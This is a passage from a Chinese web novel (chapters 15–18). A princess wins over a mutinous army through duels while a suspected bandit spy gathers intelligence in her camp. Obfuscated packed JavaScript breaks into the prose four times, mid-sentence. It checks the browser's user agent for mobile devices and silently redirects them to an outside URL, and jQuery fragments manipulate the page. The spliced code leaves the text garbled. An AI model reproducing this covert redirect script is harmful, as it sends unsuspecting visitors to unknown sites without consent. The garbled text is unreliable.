l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567746|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江小春没说话,只是耷拉着头。 “偷懒自然要受到惩罚,就罚你绕军营跑十圈,跑不完不许吃饭。” 军营住了上千人,面积自然不会小,言昭离来的时间是午后,江小春现在跑的话,至少需要跑到后半夜才可能跑完。 言昭离在军营里待了一个下午,都在看江小春跑圈,唐校尉站在身后欲言又止。 言昭离说:“有什么事就直接说。” “大皇女,能不能减少点惩罚,小春这孩子,其实不是偷懒,是去外头自己训练了。” 唐校尉叹了一口气:“她爹娘皆死于江段手下,小春的愿望就是能有一天杀了江段,为爹娘报仇。” “她心高气傲,认为军中的训练方式并不适合她自己,这才自己锻炼的。” “这并不是她躲避训练的理由。” 言昭离看向唐校尉:“军队是一个需要公平的地方,一人成为了特例,那意味着,其他人也可以成为那个特例。” 当特例变得大众,那还算是特例吗? 唐校尉缓缓低下了头:“抱歉,大皇女,是我考虑不周。” “善良没有错,只是用错了时间和地点。” “你可以在她跑完后,给她送饭。” 言昭离短暂的待了一下午,对这两千人有了初步的把握。 都有基本的武功在身,但训练懒懒散散,可能是因为经过前面几次失败后,已经不再对剿灭匪寇抱有希望。 没有士气,这对一个军队来说,是一个毁灭性的打击。 也可能是不信任言昭离能带领她们杀了江段。 接下来的时间,言昭离日日都去军营。 没有像前几个来到这的官员一样,这走走,那走走,有时候点评几句,装模装样的上了训练场和人切磋几句,然后再被灰溜溜的打了下来。 言昭离连演都不演,直接就搬个椅子,坐在那看着她们训练。 寒风刺骨时,她们在绕训练场跑步,手都生了好几个冻疮,言昭离披着厚厚的斗篷,手上还抱着个小火炉,光是看着,便感觉到了温暖。 饥肠辘辘时,她们双方对战,打的不可开胶,言昭离旁边摆放着茶水和点心,津津有味的看她们比武。 她们在泥潭里摸爬滚打,言昭离干干净净的坐在那里,甚至还与旁边的丫鬟嘲笑起她们狼狈的样子。 不过三日,众人对言昭离的怒气已经达到了顶峰。 她们聚在一起讨论。 “md,凭什么她在那舒舒服服的享受,我们却在那辛辛苦苦的训练。” “还不是投了个好胎,谁叫她是大皇女。” “大皇女就算身份再尊贵,可她也根本不配为我们的主帅,这要是到了战场,不就是让我们送命吗?” “怎么能让她离开,我记得有一个东西,叫什么……” “万民请愿,不过,我们没有万人。” “千人足矣。” “对,千人足矣。” 江小春站了出来:“我第一个签。” 她又用胳膊捣了捣还在犹豫的王麦:“你还在犹豫什么?你看大皇女的行为,你相信她能带我们杀了江段。” 江麦诚恳的摇了摇头:“不信。” “那就赶紧签了,总比好到丢了性命的好。” 一封千人请愿书,就这样被传了出去。 15. 第 15 章 午后,言昭离把所有人都召集了起来。 江小春懒洋洋的站在最后一排,无聊的数着天上飞过的鸟群,一只,两只…… 心里纳闷,这个女人又在做什么妖。 “这封书信,是谁写的?”言昭离把手中的信纸打开,上面密密麻麻的字迹,足足有整整十九页。 粗略数了几下,至少有一千八百人签名。 江小春的目光被言昭离手中的信纸吸引,熟悉的封面,是她们昨夜写的千人请愿书。 全场大部分的目光投向唐校尉,这封书信是她们亲手交给她的,可现在在大皇女的手中,这意味着什么?意味着唐校尉背叛了她们。 不不不,江小春在心里连忙摇头,唐校尉如此好,应该不是主动交给大皇女的,是被迫的,一定是被迫的。 江小春与唐校尉的关系就好,自从被罚后唐校尉给她送饭,她就更加信任唐校尉。 她不怀疑唐校尉,而是目光愤恨的看向言昭离。 言昭离仔细端详着这封千人请愿书,笑的灿烂,甚至比这冬日的暖阳还要灿烂,可众人只感觉到了渗人。 “这封请愿书言辞诚恳,意愿强烈,写的很不错。” “我倒是想知道是谁组织的?” 众人面面相觑,心里都不约而同的冒出一个念头:大皇女这是动怒了。 这个时候,自然不能冒头。 言昭离扫视了一圈:“一个敢出来承认的都没有,怎么,有胆做不敢认。” “法不责众,可那不是我的做事风格,给你们半柱香,要是没人站出来,就一起受罚,每人杖打三十大板。” 话落,她身后的一群侍卫手握厚厚的板子,向前一步走,面色狠厉,一看就不好惹。 翠鸣用火折子点燃香,一缕缕香烟的气息在半空中散开,众人不自觉的看了看侍卫,又看了看渐渐燃尽的香烟,不停的咽口水,这一板子,要是打下去了,恐怕半个月都别想下床走路。 江小春满脸怒火,眼里的火焰像是要化成实物喷涌而出,她握紧拳头,手上青筋暴起,牙齿咬的咯咯只响。 她上前一步,马上就要出列,手腕被人握住,王麦拦住她,向她摇头:“不要出去。” 江小春拂开她的手:“我忍不了,简直欺人太甚。” “是我组织的。” 她大步跨前,声音嘹亮:“要杀要剐,悉听大皇女尊便。” 反正她现在已经是孤儿,除了未能亲自杀了江段,此生已经没有什么憾事。 翠鸣喝道:“大胆,竟在大皇女面前自称为我,还不跪下。” 江小春慢悠悠跪下,脊梁如同一把青铜剑鞘,眼中像一个在野外生存的狼崽,满是未训服的野气。 言昭离注视她良久,突然伸出手,将手里的信纸撕了个粉碎,往天上一抛。 漫天白纸像是雪花一样,落了满地,十一月没有落雪,但现在却有了不一样的雪景。 在所有人诧异的眼神中,言昭离开口:“请愿书已经被我撕了,我这倒有个更好的法子,可以更快的实现你们的愿望。” “今日不限时间,只要对我心中不服者,都可以向我挑战,但凡我输了一场,就自行离开,并且不会对你们有任何惩罚。” 她看向江小春:“你先来?” 直到站在比武台上,江小春还有几分不真实感,大皇女竟然不杀了她,反而给了她们一个可以让她离开的机会。 她握紧手中的大摆锤,心里下定决心,一定要打败大皇女。 比武台周围,围满了人,气氛在言昭离上场的那一刻到达了顶峰。 “你说,这场战斗,谁会赢?” “肯定是小春,她的武,在咱们之中可是佼佼者。” “像大皇女这样细皮嫩肉的贵人,就算学过武,也不会多精。” “是啊,她们这样的贵人,一向嫌学武累,这才学了几个三脚猫的功夫,就想斗武,不用想,大皇女必败。” “小春,加油,我看好你。” 言昭离一身红色劲装,骄阳似火,更显皮肤白皙,她手握长剑,肆意昂扬。 江小春选的是铁锤,瞧着有百斤重,大小看着都比言昭离的脑袋大。 “得罪了,大皇女。”江小春先发制人,她并没有一开始就扬起大摆锤,而是在地上滑动了一小段距离,铁触碰地面的声音很刺耳,莫名给人带来一股恐慌。 她纵身一跃,左手的摆锤狠狠落下。 言昭离没动,直到铁锤即将击中面中的位置,她身形一闪,消失在原地。 “哎。”周围人发出一声哀叹。 江小春左手扑了个空,反应迅速的将右手调整一个位置,向后方击去。 言昭离这次没有闪躲,而是持剑,迎面接过这一招。 以剑对锤,周围人不由得闭上了眼睛,怎么看,这剑都必折。 然而,想象中剑折断的声音没有出现。 有人惊呼,“快看,江小春的锤。” “这一招漂亮,大皇女实在厉害。” 言昭离在现代学过太极,太极讲求以柔克刚,她以四斤拨千两的技巧,不仅弱化了锤带来的冲击力,还往江小春的右手刺去。 江小春果断放弃右手握着的摆锤,一半的战力消失,她心中恼怒。 进攻也不讲究章法,上下左右,全方位的向着言昭离砸去。 言昭离刚开始还能坚持跟她过几招,后来烦了,直接往右面刺去,江小春下意识想去挡,下一秒,暗叫不好,已经来不及了。 她手中长剑已直指对方咽喉,铁锤落地与周围人的喝彩声一同响起。 输给了最瞧不起的人,江小春的脸上满是颓色:“大皇女武功高强,奴输了。” 言昭离收回剑:“你也不错,只是这武器不适合你。” 江小春的力气大,但还不足以支撑她能长时间用锤攻击,比试开始的时候,力气就已经耗费了一半,后来被激怒,左手肆意挥着摆锤,看着凶猛,其实力气已经消失殆尽,连最后言昭离突然换方向的一击都来不及挡。 江小春默然,她之所以选择铁锤,是因为江段天生神力,用的武器也是铁锤,她想用江段最熟悉的兵器打败她。 “我问你,你最大的心愿是什么?” 江小春毫不犹豫:“杀了江段。” “如果有一条杀了能江段的捷径摆在你面前,你会选择走吗?” “会。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567747|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那就放弃锤,选择真正适合你自己的,你不该止步于此。” 一件称手的兵器,就如同一件合身的衣服,衣服都不舒服,那穿的人自然也不舒服。 “还有人想挑战吗?” “我来。” 新一轮的比试开始,江小春下了台后,就沉默的站在看台上。 唐校尉挤开人群,站到她身旁:“被大皇女打败的滋味如何?” “有点恍惚。”江小春瞧不起言昭离,可她打败了自己,甚至下台前的一番话,都似乎印证着……大皇女是个好人。 “恍惚就对了。”唐校尉说,“现在看清也不迟。” “校尉,你是不是早就知道大皇女……” “是,你知道我是怎么察觉的吗?” “大皇女第一天来的那个下午,亲口点醒我,军中是一个需要公平的地方,知道这些道理的人,自然不是个等闲之辈。” “还记得你完成惩罚的时候,我给你送饭,这也是大皇女允许的。” “这样的人,我相信她能杀了江段,剿灭匪寇,所以,我主动把千人请愿书交给她。” 这些话语,在江小春的心中掀起巨大的风浪,她,真的可以相信大皇女吗? 比试一场接着一场,毫无疑问,言昭离赢下了每一场。 最后,天色暗晚,军营中灯火通明,许多人在欢呼。 “大皇女!” “大皇女!” “大皇女!” 灯光照射在言昭离的脸上,眉眼间更显柔和,但在场的所有人都不会轻视她。 整整五个时辰,没有任何停歇,言昭离战胜了一百五十个人,这些人,都是军中实力强劲者。 “还有人要挑战吗?” 没有人再上台,没有人再对她不服,言昭离的实力,得到了所有人的认可。 “大皇女,胜!”比武台上的钟声敲了一下又一下,震动的声音与在场所有人心脏跳动的频率重合。 言昭离站在台上,意气风发,身上的红衣被月光披洒了一层光辉,这抹红,亦成为她们心中新的信仰。 所有人臣服在地:“吾等自愿听从大皇女调遣。” “本皇女新任元帅,特地颁下一道指令,军中实力为上,在此剿匪中,斩杀二十人,晋为百户,斩杀四十人,晋为千户,斩杀六十人,晋为万户,斩杀百人,晋为校尉。” “最后,取了江段的项上人头,晋为都尉。” “以上这些,皆凭军功,赏赐百两千两黄金,宅田不限。” “在此次剿匪中牺牲的人,会将骨灰送至家乡,给予亲人丰厚的抚恤金。” 所有人身躯一震,只感觉全身血液都在沸腾,言国安定太久,除了时不时兴起的匪寇,边陲国家已经不会再犯。 朝中的官员,无论文武,都是通过科举制来选拔。 寻常出身的人家,没有经过系统的学习,通不过科举,没有战争,也很难通过军功来晋升。 有些人,一辈子只能是小兵。 现在告诉她们,有一个机会,可以晋升,怎么可能不把握,怎么可能不珍惜。 普通人,只要有一次出头的机会,那便会努力向上爬。 16. 第 16 章 清风寨 “报,内人传来急信。” 江段身形魁梧,披着半身虎皮毛,坐在高位,旁边的三当家卫兰彭站起身来,接过书信,递给江段。 江段拆开书信:“上面的让咱们行事谨慎些,最近大皇女在江南练兵,准备剿灭我们。” 卫兰彭不甚在意的撇了撇嘴:“估摸又是个假把式,那群兵,我还不知道什么样吗?” 节节败退,士气全无,就是一群酒囊饭饱的废物。 “传我口令,近日不准外出。”江段素来谨慎,她嗅到一股风雨欲来的危险。 “段姐,近日生意极好。”要是突然中断,恐怕会损失不少金钱。 “是命重要还是钱财重要?” “我知道了。”卫兰彭极不情愿的应了一声。 “老二找到人没?” 清风寨二当家高任元一年前瞧上了一个男人,那男人是个脾气倔的,宁死不从,逃跑了好几次,最后被打断了一条腿才老实下来。 谁知道那只是那男的伪装,半个月前,又趁着月黑风高夜逃跑了,至今没找回来。 “没有,那男人被打断了一条腿,还挺能跑,说不定早就死外面了。” “叫老二回来,找不到的人就不要找了,左右不就是一个男人,以后还会有很多的。” “是。” 清风寨身处大山里面,位置偏僻,易守难攻,除非主动露头,否则极难找到位置。 江段这一命令,也是让清风寨隔绝起来,躲避这一祸事。 寨里的人虽觉得寨主过于谨慎,但内心是完全顺从,江段带她们战胜了一次又一次的战争,是当之无愧的强者。 * “翠鸣,重一点,手再往下些。” 言昭离趴在床上,衣衫半掩,眯着眼享受翠鸣的按摩。 她跟上百人比武,那些人,个个都是身形魁梧的,手上的力道自然也不低,言昭离就算武功再高强,不可能一点伤都不受。 此刻,身上密密麻麻的淤青,有的地方还有些红肿。 翠鸣轻轻拿药膏涂抹着,脸上满纠结,曾经她巴不得大皇女能多受些罪,可现在大皇女真受罪了,她又有些心疼。 其实大皇女没那么坏的。 按着按着,言昭离突然感觉到了不对劲,落在背上的巴掌明显更加宽厚且闷热。 她猛的一转头,眼里带着警惕:“谁?” 看到来人后,眼里的警惕又化为惊喜:“老板,你回来了?” 祁逾白作为言昭离身边唯一的男人,虽然只是一个小郎,但也要肩负侍郎的职责,替言昭离应酬江南城中的达官显贵。 这几日,比言昭离还要忙些。 “是,听说了某人在军营以一抵上千将士的战绩,想见见传说中的某人,于是提前从宴席上离开了。” “咳咳,”言昭离有些不好意思,“也没有那么厉害了。” 不过,提前从宴席上离开,倒是让言昭离回忆起在现代的时候,第一次觉得老板孩子气。 也是一次宴席,不过是一场别有用心的鸿门宴,祁逾白被爷爷骗来,中间‘被迫’结识了好多富豪千金。 在祁逾白即将被爷爷介绍第十五个千金时,他找到躲在角落里吃蛋糕的言昭离。 “言秘书,上大学逃过课吗?” 言昭离刚咬下一口流心草莓蛋糕,面包松软可口,草莓味浓厚,不愧是顶级宴会上摆出来的小蛋糕。 听到祁逾白的问题,她有些迟疑的小幅度点点头,后又诚恳的剧烈摇头。 “没有没有,我热爱学习,怎么可能逃课。” 逃过课,可要是说过逃课,老板会不会觉得她大学学的不认真,然后把她开了。 所幸祁逾白并没有深究,只是小声叮嘱:“我等会提前从宴会上离开,你帮我打掩护。” “啊,”言昭离吃惊的瞪大双眼,“提前离开?” 你要是提前离开了,还算我加班费吗? 心里想的问题,面上自然不能表现出来,她说:“老板,你放心,只管随心所欲的离开,我一定帮你打好掩护。” 祁逾白放心的交给她,后偷偷的离开。 给他掩护,自然不是个轻松的事,祁老爷子先是找上了她,“言秘书,看到逾白了没有?” 言昭离眼不红心不跳:“没看到,可能去上厕所了。” “那真是可惜了。” “不过也没关系,他不在,你在就行。” 言昭离指了指自己:“我?” “对,祁老爷子煞有其事的点头,“本想介绍他认识一些人,看能不能有合眼缘的,既然不在,也不妨碍对方先了解他。” “言秘书,这是惠知,麻烦你帮逾白介绍一下。” 祁老爷子的身后,一个浓眉大眼的美人向言昭离打招呼,“你好,我叫樊慧知。” “你好,我叫言昭离。” 祁老爷子离开了,留下两人聊天。 言昭离本以为会开始尬聊,但没想到对方会如此健谈,一上来并没有问祁逾白的事,而是从女生最熟悉的化妆穿搭聊起,一时间,气氛还挺融洽。 “我能问一下,你老板是什么样的人吗?” 终于,这场聊天的终极目的出现了,作为祁逾白的金牌秘书,自然得全方位夸老板。 “事业心强,工作认真负责。” 谁知樊慧知遗憾的摇摇头:“看来没希望了。” “什……什么?”面都没见过,怎么没希望了? “这不是我喜欢的类型,我是家中独女,性格有些强势,比较喜欢小娇夫类型的男人,未来的丈夫最好能入赘。” “那还真是遗憾了。”言昭离想,对方不喜欢她老板这种类型,那应该不是她搞砸的。 “不过,我还是很喜欢跟你聊天的,我们可以加个联系方式,以后我找你玩。” 加过绿泡泡后,樊慧知离开了。 言昭离以为自己可以歇歇了,结果下一秒,祁老爷子又带了一个女生过来。 这个女生跟樊慧知的性格完全不同,看起来更加腼腆些。 她与言昭离聊了会别的事情,最后,鼓起勇气问言昭离:“我能问一下祁公子是什么样的吗?” 有了第一次经验,言昭离再结合女生的性格,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567748|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信的开口:“宜室宜家,全能厨夫。”虽然老板只沾了点边,但要是牵上这条红线,言昭离相信,老板一定会为爱改变。 谁知女生又一次摇头:“算了吧,我不喜欢这种类型的,我性格软弱,希望能找个霸道一点的男友,永远站在我这边。” 想做做红娘的心又碎了个渣渣,有时候就是不得不承认,有些人,天生就是适合干这些的。 那些红娘巧舌如簧,黑的能说成白的,真不怪人家能牵上线。 祁老爷子再一次走了过来:“又失败了?” “是。”言昭离有些心虚点头。 祁老爷子暗自琢磨:“难道这小子一直没对象,这也太不讨人喜欢了,连面都没见着,就泡汤了。” “不行,看来得转换个方向了。” 他说的小声,言昭离也没听清,以为祁老爷子这是放弃了。 结果,直到一个男的站在言昭离面前,言昭离口中的酒差点没喷出来。 祁老爷子是老板的爷爷,要是老板没点苗头,祁老爷子怎么可能把男的往她面前领,也是,老板平日就铁面无私,冷漠的看不出性取向,再加上没有女朋友,还真可能喜欢男的。 她保持着微笑:“你好,请问你想了解点什么?” 男生:“你老板是什么性格的?” 前两次的失败,让言昭离选了一个中规中矩的说法:“外表冷酷,内心柔软。” 男生没说什么,只是沉默的离开。 最后,言昭离从祁老爷子那唉声叹气中知道,那男生对老板很满意,已经加了绿泡泡了。 言昭离也很开心,保卫了老板的爱情。 思绪回转,言昭离悄悄瞥了一眼祁逾白,虽然她知道后面没什么结果,但还是真想知道宴会后续发展的。 以及,老板到底喜欢男的还是女的。 现在的言昭离自然不知道,以后祁逾白要是知道她这时在想什么,只会额头冒好几跳黑线。 他就说,当时怎么那么多骚扰信息。 什么【弟弟,我是1,谈吗?】 【不要拒绝,我知道你的真面目。】 什么真面目,去tm的真面目。 * “老板,宴席上很无聊吗?” 言昭离一时被过去的记忆转移了注意,没注意到现在的气氛有多不对劲,他们的行为有多暧昧。 祁逾白的手上涂满了药膏,一点点按摩言昭离的背部,从上到下,从左到右。 “很无聊,都是在聊什么妆容,服饰。”甚至还有人向他请教如何抓住妻主的心。 “无聊就不要去了,今日我已经在军中立过威,以后只需要去一点点时间,剩下的时间我在家陪你。” 言昭离尽量抚慰祁逾白心中的不安,老板穿到女尊世界,从高位跌落下来,心里会产生极大的不安,格外的依赖言昭离。 换作言昭离,穿到古代世界,不仅要提防着封建古代吃人的礼教,还要想方设法的活下去,内心也会产生极大的不安。 “好。” “手下力道轻些。” 祁逾白喉结滚动:“好,我会轻些的。” 17. 第 17 章 “公子怎么出来了?” 守在厨房门口的侍卫问道,言昭离如今住在太守府,带的有私厨,为了防止有人下毒,有专门的人看守厨房。 “无事,身上的伤好得差不多了,来看看有没有什么要帮忙的。” 侍卫笑道:“我知道大皇女救了公子,公子心生感激,不过当务之急,还是先养好一身的伤。” “养好了伤,才能更好的报答救命之恩,我看过了,这厨房没什么要帮忙的,公子要不先回去。” 无名一脸黯然:“大皇女什么都不需要,我还能为大皇女做些什么呢?” “听说大皇女最近在练兵剿匪,我要不要去投兵,为大皇女尽一份力。” “你会武吗?” “不会。” 侍卫撇了一眼他瘦弱的身板,婉言劝道:“军中不乏骁勇善战之人,应该不需要你多出份力。” “可是我听说她们屡战屡败,士气已经全无。” 为了打消怀疑,他倾身上前:“这都是听街市上的百姓说的。” “以前是这样,但现在,”侍卫骄傲的挺直胸膛,“有大皇女在,一定不会再如此。” 无名明显不信:“虽然我也认为大皇女很好,可这话,是不是有些过于自信了。” “怎么可能,”侍卫看了无名一眼,“也是,你整日躺在床上,也不知道外界的消息。” “我告诉你,大皇女在营中单挑一百五十人,百战百胜,军营里的士兵现在都无比信服大皇女,再加上大皇女刚上任就下令,以军功论赏,谁杀的匪越多,官职升的越高。” “这可是可遇不可求的事,现在那将士,焕然一新,每天跟打了鸡血一样训练。” “我断言,她们必能打败江段。” “这些都是真的?” 侍卫拍拍胸脯保证:“当然是真的,路过军营的时候,就算在三公里开外,都能听到她们激昂的训练声。” 无名悄无声息的从侍卫口中获取想要的信息,他原本还想套出更多消息,可突然有人来了。 是祁逾白身边的金时。 他提着食盒,急匆匆赶来。 “凡悦,得空吗?” 凡悦就是那名侍卫的名字。 “不得空。”凡悦马上就要换班,下午调休,她特地约好了清风馆的公子,聊茶品人生。 金时捂着肚子,一脸急死:“这可怎么办,我现在有点拉肚子,可是这些饭菜,是祁小郎专门吩咐一定要交给大皇女。” “我去送。”无名出声。 “你?”金时正要迟疑,可肚子里的涌动容不得他多想,只能迅速把食盒交给无名。 甚至连一句‘一定要送到。’都来不及叮嘱,就直奔茅房。 无名柃着食盒,跟侍卫告辞。 转过身,脸上的笑容瞬间消失,耳听为虚,眼见为实,侍卫讲的事情,不能全信,必须得亲眼瞧过。 确认过后,他再采取行动。 * 在距离军营还有三公里的地方,确实如侍卫所说,呐喊声冲破天际,没有亲眼见到,但仍然能感觉到滔天的气势。 不出意外,无名被拦在了门口。 “姓名,来自哪里?来做什么?” “无名,大皇女府上的,我来这是送祁小郎给大皇女准备的吃食。” 士兵要从他手里拿过食盒:“给我吧,我会交给大皇女的。” 无名攥紧食盒上的柄:“不行,祁小郎亲自吩咐,不仅要我亲自交给大皇女,还要亲眼见到大皇女吃下。” 这些话,自然是他编的,但就算是假的,也不一定能拆穿。 士兵犹豫几秒:“好,你送进去吧。” 士兵内心敬爱言昭离,自然对她宠爱的祁小郎也看重。 “谢谢。” 无名提着食盒,一进去,就感觉到了一股肃杀之意扑面而来。 “小心。”一支红缨枪破空而来。 在即将打到无名面中的位置,又被箭射下,钉在了地上。 王麦跑了过来:“对不起对不起,我没想到这里会有人,没事吧。” 她说话的声音在看到无名脸上逐渐消减,完了,完了,对方伤那么重,这都相当于毁容了。 对一个男子来说,毁容可是致命打击。 这下本就不多的家底都得赔光。 “对不起,都怪我导致你脸受伤了,我会负责到底的。” 后面的治疗,她会全包。 要是这男子想嫁给哪家的妻主,她也会费七十二寸不烂之舌,促成男子想要的姻缘。 无名捂住左边的脸,上面的的伤疤还没好全,又长出了新的血肉,虽然不疼,但看着有些吓人。 “不用,脸上的疤是我早就有的,不是你导致的,你的枪根本没伤到我。” “那就好那就好。” 无名问:“不过,军中不是一般都只用剑吗?” 王麦挠了挠头:“之前是这样,不过大皇女来了之后,支持我们选择适合自己的兵器。” “说是能发挥出自己最大的本领。” 因人而异的效果是显著的,不过大部分人都是普通人,无论使用哪个兵器都不出众,最后还是使用的剑。 所以军中的主要使用武器还是剑。 小部分人使用的其他兵器,则是五花八门的,有枪、箭……甚至还有石头。 这些人是有专门的训练计划。 “你是哪里的,怎么来这了?” “军中一般不让生人进的。” 无名提了一下手里的食盒:“我是大皇女府的,这是祁小郎让奴送来的。” “是不是给大皇女的吃食?” 无名点头。 王麦催促他:“那你快些走吧,不要让大皇女饿着了。”她又指了一个方向,“大皇女在那,你沿着这条路走就好了。” “好。” “等等,”王麦还是按耐不住内心的好奇,“大皇女真的对祁小郎有传闻中的那么好。” 无名想起少有几次的见大皇女时的情形,同在书房下,大皇女和祁小郎各干各个的事情,相不打扰,可气氛却又如此和洽。 大皇女的书桌上每日总有不同的花,是学过插花的祁小郎放的。 大皇女会特地吩咐厨房注意祁小郎的忌口,有时从外面回来,还会给祁小郎带些好玩的,好吃的。 祁小郎新学了什么绣艺,哪怕把鸳鸯绣成了野鸭子,大皇女野也只会称赞他绣的好,从来没说过什么重话。 无名答道:“是,甚至比传闻中还要好。” 大皇女对祁小郎,视若珍宝。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567749|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 无名走了,还能听到王麦的感叹声。 “大皇女这般好,我以后也要像大皇女一样,一心一意的对待自己的夫郎。” “你什么呢?” 另一个射箭的人见他们聊了这么久,走了过来。 “你们刚才在聊什么?” “没聊什么,他是大皇女府上的,来送些吃食。” 王麦对江小春真心实意说:“今日多谢你打掉了枪,否则就伤人了。” “不过,江小春,你的箭术是不是又进步了。” “是。” “太厉害了小春,就你这个进步速度,我相信你肯定能杀了江段那个狗贼的。” “借你吉言,不过我有今天的进步,还是要多谢大皇女的教导。” 江小春自从输过之后,认真琢磨了言昭离的话,转而学起了箭。 事实证明,她真正有天赋的,确实是箭术。 “大皇女真是个好人。” “还给了普通人向上爬的机会。” 两人感叹。 * 无名行至军帐前,被翠鸣拦在下:“是来给大皇女送吃食的吗?” “是,这是祁小郎吩咐送来的。” 翠鸣:“来验验。” 为了防止有人下毒,大皇女身边有专门检测饭菜是否有毒的人。 验毒的人拿出随身携带的衣帛,上面装满了至少十几根银针,银针的长短,粗细完全不一样。 她从里面抽出最细的银针,放入被打开的饭菜。 几秒后拔出,银针无异样,无毒。 “好了,大皇女可以用。” 翠鸣点点头,说:“大皇女在议事,在门外稍等片刻。” 军帐里展开了激烈的争吵,是针对剿匪的问题。 可以分为两派,保守派和激进派。 保守派认为,现在积攒实力最好,不宜进行战斗。 激进派认为现在士气正好,打赢一场胜仗,增强信心。 “是,现在士气是正好,可万一下一次战斗又败了,那只会减少她们的信心,让她们一蹶不振。” “这样还打什么仗?” “谁说一定会败,我倒认为会胜,那样士气和信心都有,还至于愁灭了江段。” “说的倒自信,你以为打仗是过家家呢?” “我问你,你凭什么胜,不知道她们具体的兵力有多少,甚至连她们的具体位置都不知道。” “每次都是被动的知道她们强夺的地点,根本不知道她们来自哪里,又去哪里?” “这样过于被动,如何取胜。” “难道就只能静静的等待她们来打吗?” “连先机都不能有,这也太窝囊了。” 双方阵营互相扯皮,反驳对方的观点,吵的面红耳赤,耳根通红。 言昭离坐在主位,一言不发,直到她们同时看向言昭离。 “主帅,你怎么看?” “我认为,最好的办法,就是先吃饭。” 嗯?!两边阵营齐齐瞪大了双眼,那么严肃的话题,你跟她们聊吃饭。 “现在一时半会又想不出解决办法,不如先等待一段时间,说不定会有什么意外之喜。” 两大阵营看了看对方,轻哼一声,“那就先听主帅的。” 18. 第 18 章 等人走后,无名才进去。 言昭离吃惊的看了他一眼,问道:“你怎么来了?” “奴是祁小郎吩咐的,来给大皇女送饭。” 他弯着腰,才刚打开盖子,饭菜的香味就扑面而来,随后又把食盒里的饭菜一一摆放在小桌上,饭菜样式极好,让人看着赏心悦目。 言昭离尝了一口摆放的最近的虾,虾皮已经被剥去,虾肉鲜肥嫩口,滋滋入味,味道好极了。 她随意问起:“伤好全没?” “多谢大皇女关心,伤已经好了大概。” “那就好,伤好后就可以开始干事了,你可有想去的职务?” 无名摇头:“奴能留在大皇女身边,已经是极大的恩赐,不敢再奢求更多。” “这可不行,念你伤好,也不能干太多的活,本皇女近日忙碌,可能顾不上吃饭,就派你每日午时来给本皇女送饭。” 无名敛去脸上激动的神色:“奴领命。” * “无公子,又来送饭了?” 无名接连送了几日的饭菜,已经跟江小春、王麦等人熟悉了起来。 “是。” 王麦偷偷问道:“还是祁小郎送来的。” “是。” 王麦小声嘀咕:“怪不得祁小郎能如此得宠,这样全心全意为妻主服务的男人,谁不想要。” 江小春弹了她一个脑瓜子:“那也是大皇女本身就好,才值得如此对待。” “是是是。” 江小春经过这几件事,收起了一身傲骨,对言昭离死心塌地,不容许任何人说言昭离的坏话。 “今日你来得巧,我们正要比试,你要不留下来看。” “好。”无名答应的很快,他也迫不及待的想看她们训练的成果,是否能与那匪寇有实力抗衡。 没有人比他更清楚那些匪寇的实力。 一场接着一场,把现场的氛围全都调动了起来,比试台上双方拳拳在肉,底下的人热血奋勇。 每次比试的最后获胜者,都有机会获得大皇女亲口允诺的田地和黄金。 直至比赛结束,众人还在回味,无名呆愣在原地,面色晦暗不明。 王麦喊他: “无公子?” “无公子?” 无名回过神来:“抱歉,刚才看比试看入神了。” “你们男子也喜欢看这些啊?” 江小春问,她一直以为男子只喜欢绣花打扮,没想到还有男子喜欢看这种血性的东西。 “可能是被氛围感染了。” “也是,刚才我看的都气血翻涌恨不得上去大干一场。” 王麦遗憾道:“可惜不到我们营的比试。” 无名更好奇了:“你们军中还分不同的营?” “是啊,这是大皇女来了之后颁布的制度,分为不同的营和组,相互监督,比试成长。” “这种办法确实挺管用的,每个人都成长的很快。” 见无名感兴趣,江小春和王麦讲的更起劲了,你一言我一言,几乎将军中的规章制度都给他剖析了个遍。 最后再一次称赞言昭离的睿智。 “那你们觉得自己能杀了匪寇吗?”无名冷不丁插了一嘴,这与他之前在江小春和王麦两人伪装的性格有些违背。 可他顾不上那么多,只想知道一个答案。 一个能让他豁出去的答案。 “会的。” “会的,我相信大皇女一定能带领我们杀了江段等人。” 无名得到想要的答案,突然像卸了全身的力气,疲惫感涌上心头,他想好好回去睡一觉,睡醒之后,才有勇气面对自己选择的一切。 “我还有事,先走了。” 江小春和王麦像是没察觉到他的异样,笑着和他告别。 * “据手下人来包,无名伤还未好的时候,就多次套话,了解我在军营中所做的,伤好之后,趁着送饭的机会,全面了解军营中的一切,看着像是匪寇派来的探子,可又不像?” 